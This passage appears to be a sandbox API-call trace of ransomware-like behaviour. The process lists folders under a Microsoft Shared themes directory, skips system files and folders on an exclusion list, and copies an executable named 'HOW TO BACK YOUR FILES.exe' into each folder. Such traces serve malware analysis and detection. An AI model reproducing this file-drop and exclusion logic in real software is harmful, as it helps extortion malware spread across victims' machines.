lpString2="pagefile.sys") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="boot") returned 1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="ids.txt") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="ntuser.dat") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="perflogs") returned -1 [0117.071] lstrcmpiW (lpString1="CANYON", lpString2="MSBuild") returned -1 [0117.071] lstrlenW (lpString="CANYON") returned 6 [0117.071] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CANYON" | out: lpString1="CANYON") returned="CANYON" [0117.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5479a8 [0117.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x51a438 [0117.071] lstrcatW (in: lpString1="CANYON", lpString2="\\" | out: lpString1="CANYON\\") returned="CANYON\\" [0117.071] lstrcatW (in: lpString1="CANYON\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CANYON\\HOW TO BACK YOUR FILES.exe") returned="CANYON\\HOW TO BACK YOUR FILES.exe" [0117.071] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.074] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2=".") returned 1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="..") returned 1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="windows") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="bootmgr") returned 1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="temp") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="pagefile.sys") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="boot") returned 1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="ids.txt") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="ntuser.dat") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="perflogs") returned -1 [0117.074] lstrcmpiW (lpString1="CAPSULES", lpString2="MSBuild") returned -1 [0117.074] lstrlenW (lpString="CAPSULES") returned 8 [0117.074] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CAPSULES" | out: lpString1="CAPSULES") returned="CAPSULES" [0117.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5479c0 [0117.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515718 [0117.075] lstrcatW (in: lpString1="CAPSULES", lpString2="\\" | out: lpString1="CAPSULES\\") returned="CAPSULES\\" [0117.075] lstrcatW (in: lpString1="CAPSULES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CAPSULES\\HOW TO BACK YOUR FILES.exe") returned="CAPSULES\\HOW TO BACK YOUR FILES.exe" [0117.075] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.078] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0117.078] lstrcmpiW (lpString1="CASCADE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.078] lstrcmpiW (lpString1="CASCADE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.078] lstrcmpiW (lpString1="CASCADE", lpString2=".") returned 1 [0117.078] lstrcmpiW (lpString1="CASCADE", lpString2="..") returned 1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="windows") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="bootmgr") returned 1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="temp") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="pagefile.sys") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="boot") returned 1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="ids.txt") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="ntuser.dat") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="perflogs") returned -1 [0117.079] lstrcmpiW (lpString1="CASCADE", lpString2="MSBuild") returned -1 [0117.079] lstrlenW (lpString="CASCADE") returned 7 [0117.079] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CASCADE" | out: lpString1="CASCADE") returned="CASCADE" [0117.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5479d8 [0117.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x51a4c0 [0117.079] lstrcatW (in: lpString1="CASCADE", lpString2="\\" | out: lpString1="CASCADE\\") returned="CASCADE\\" [0117.079] lstrcatW (in: lpString1="CASCADE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CASCADE\\HOW TO BACK YOUR FILES.exe") returned="CASCADE\\HOW TO BACK YOUR FILES.exe" [0117.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.082] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2=".") returned 1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="..") returned 1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="windows") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="bootmgr") returned 1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="temp") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="pagefile.sys") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="boot") returned 1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="ids.txt") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="ntuser.dat") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="perflogs") returned -1 [0117.082] lstrcmpiW (lpString1="COMPASS", lpString2="MSBuild") returned -1 [0117.082] lstrlenW (lpString="COMPASS") returned 7 [0117.082] lstrcpyW (in: lpString1=0x241e8b8, lpString2="COMPASS" | out: lpString1="COMPASS") returned="COMPASS" [0117.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5479f0 [0117.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x51a548 [0117.083] lstrcatW (in: lpString1="COMPASS", lpString2="\\" | out: lpString1="COMPASS\\") returned="COMPASS\\" [0117.083] lstrcatW (in: lpString1="COMPASS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="COMPASS\\HOW TO BACK YOUR FILES.exe") returned="COMPASS\\HOW TO BACK YOUR FILES.exe" [0117.083] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2=".") returned 1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="..") returned 1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="windows") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="bootmgr") returned 1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="temp") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="pagefile.sys") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="boot") returned 1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="ids.txt") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="ntuser.dat") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="perflogs") returned -1 [0117.093] lstrcmpiW (lpString1="CONCRETE", lpString2="MSBuild") returned -1 [0117.093] lstrlenW (lpString="CONCRETE") returned 8 [0117.093] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CONCRETE" | out: lpString1="CONCRETE") returned="CONCRETE" [0117.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a08 [0117.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5157a8 [0117.093] lstrcatW (in: lpString1="CONCRETE", lpString2="\\" | out: lpString1="CONCRETE\\") returned="CONCRETE\\" [0117.093] lstrcatW (in: lpString1="CONCRETE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CONCRETE\\HOW TO BACK YOUR FILES.exe") returned="CONCRETE\\HOW TO BACK YOUR FILES.exe" [0117.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2=".") returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="..") returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="windows") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="bootmgr") returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="temp") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="pagefile.sys") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="boot") returned 1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="ids.txt") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="ntuser.dat") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="perflogs") returned -1 [0117.097] lstrcmpiW (lpString1="DEEPBLUE", lpString2="MSBuild") returned -1 [0117.097] lstrlenW (lpString="DEEPBLUE") returned 8 [0117.097] lstrcpyW (in: lpString1=0x241e8b8, lpString2="DEEPBLUE" | out: lpString1="DEEPBLUE") returned="DEEPBLUE" [0117.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a20 [0117.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515838 [0117.097] lstrcatW (in: lpString1="DEEPBLUE", lpString2="\\" | out: lpString1="DEEPBLUE\\") returned="DEEPBLUE\\" [0117.097] lstrcatW (in: lpString1="DEEPBLUE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DEEPBLUE\\HOW TO BACK YOUR FILES.exe") returned="DEEPBLUE\\HOW TO BACK YOUR FILES.exe" [0117.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.101] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2=".") returned 1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="..") returned 1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="windows") returned -1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="bootmgr") returned 1 [0117.101] lstrcmpiW (lpString1="ECHO", lpString2="temp") returned -1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="pagefile.sys") returned -1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="boot") returned 1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="ids.txt") returned -1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="ntuser.dat") returned -1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="perflogs") returned -1 [0117.102] lstrcmpiW (lpString1="ECHO", lpString2="MSBuild") returned -1 [0117.102] lstrlenW (lpString="ECHO") returned 4 [0117.102] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ECHO" | out: lpString1="ECHO") returned="ECHO" [0117.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a38 [0117.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x51a5d0 [0117.102] lstrcatW (in: lpString1="ECHO", lpString2="\\" | out: lpString1="ECHO\\") returned="ECHO\\" [0117.102] lstrcatW (in: lpString1="ECHO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ECHO\\HOW TO BACK YOUR FILES.exe") returned="ECHO\\HOW TO BACK YOUR FILES.exe" [0117.102] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.105] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2=".") returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="..") returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="windows") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="bootmgr") returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="temp") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="pagefile.sys") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="boot") returned 1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="ids.txt") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="ntuser.dat") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="perflogs") returned -1 [0117.105] lstrcmpiW (lpString1="ECLIPSE", lpString2="MSBuild") returned -1 [0117.105] lstrlenW (lpString="ECLIPSE") returned 7 [0117.105] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ECLIPSE" | out: lpString1="ECLIPSE") returned="ECLIPSE" [0117.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a50 [0117.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x51a658 [0117.105] lstrcatW (in: lpString1="ECLIPSE", lpString2="\\" | out: lpString1="ECLIPSE\\") returned="ECLIPSE\\" [0117.105] lstrcatW (in: lpString1="ECLIPSE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ECLIPSE\\HOW TO BACK YOUR FILES.exe") returned="ECLIPSE\\HOW TO BACK YOUR FILES.exe" [0117.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2=".") returned 1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="..") returned 1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="windows") returned -1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="bootmgr") returned 1 [0117.108] lstrcmpiW (lpString1="EDGE", lpString2="temp") returned -1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="pagefile.sys") returned -1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="boot") returned 1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="ids.txt") returned -1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="ntuser.dat") returned -1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="perflogs") returned -1 [0117.109] lstrcmpiW (lpString1="EDGE", lpString2="MSBuild") returned -1 [0117.109] lstrlenW (lpString="EDGE") returned 4 [0117.109] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EDGE" | out: lpString1="EDGE") returned="EDGE" [0117.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a68 [0117.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x51a6e0 [0117.109] lstrcatW (in: lpString1="EDGE", lpString2="\\" | out: lpString1="EDGE\\") returned="EDGE\\" [0117.109] lstrcatW (in: lpString1="EDGE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="EDGE\\HOW TO BACK YOUR FILES.exe") returned="EDGE\\HOW TO BACK YOUR FILES.exe" [0117.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.114] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2=".") returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="..") returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="windows") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="bootmgr") returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="temp") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="pagefile.sys") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="boot") returned 1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="ids.txt") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="ntuser.dat") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="perflogs") returned -1 [0117.114] lstrcmpiW (lpString1="EVRGREEN", lpString2="MSBuild") returned -1 [0117.114] lstrlenW (lpString="EVRGREEN") returned 8 [0117.114] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EVRGREEN" | out: lpString1="EVRGREEN") returned="EVRGREEN" [0117.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547a80 [0117.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5158c8 [0117.114] lstrcatW (in: lpString1="EVRGREEN", lpString2="\\" | out: lpString1="EVRGREEN\\") returned="EVRGREEN\\" [0117.114] lstrcatW (in: lpString1="EVRGREEN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="EVRGREEN\\HOW TO BACK YOUR FILES.exe") returned="EVRGREEN\\HOW TO BACK YOUR FILES.exe" [0117.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.118] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2=".") returned 1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2="..") returned 1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2="windows") returned -1 [0117.118] lstrcmpiW (lpString1="EXPEDITN", lpString2="bootmgr") returned 1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="temp") returned -1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="pagefile.sys") returned -1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="boot") returned 1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="ids.txt") returned -1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="ntuser.dat") returned -1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", lpString2="perflogs") returned -1 [0117.119] lstrcmpiW (lpString1="EXPEDITN", 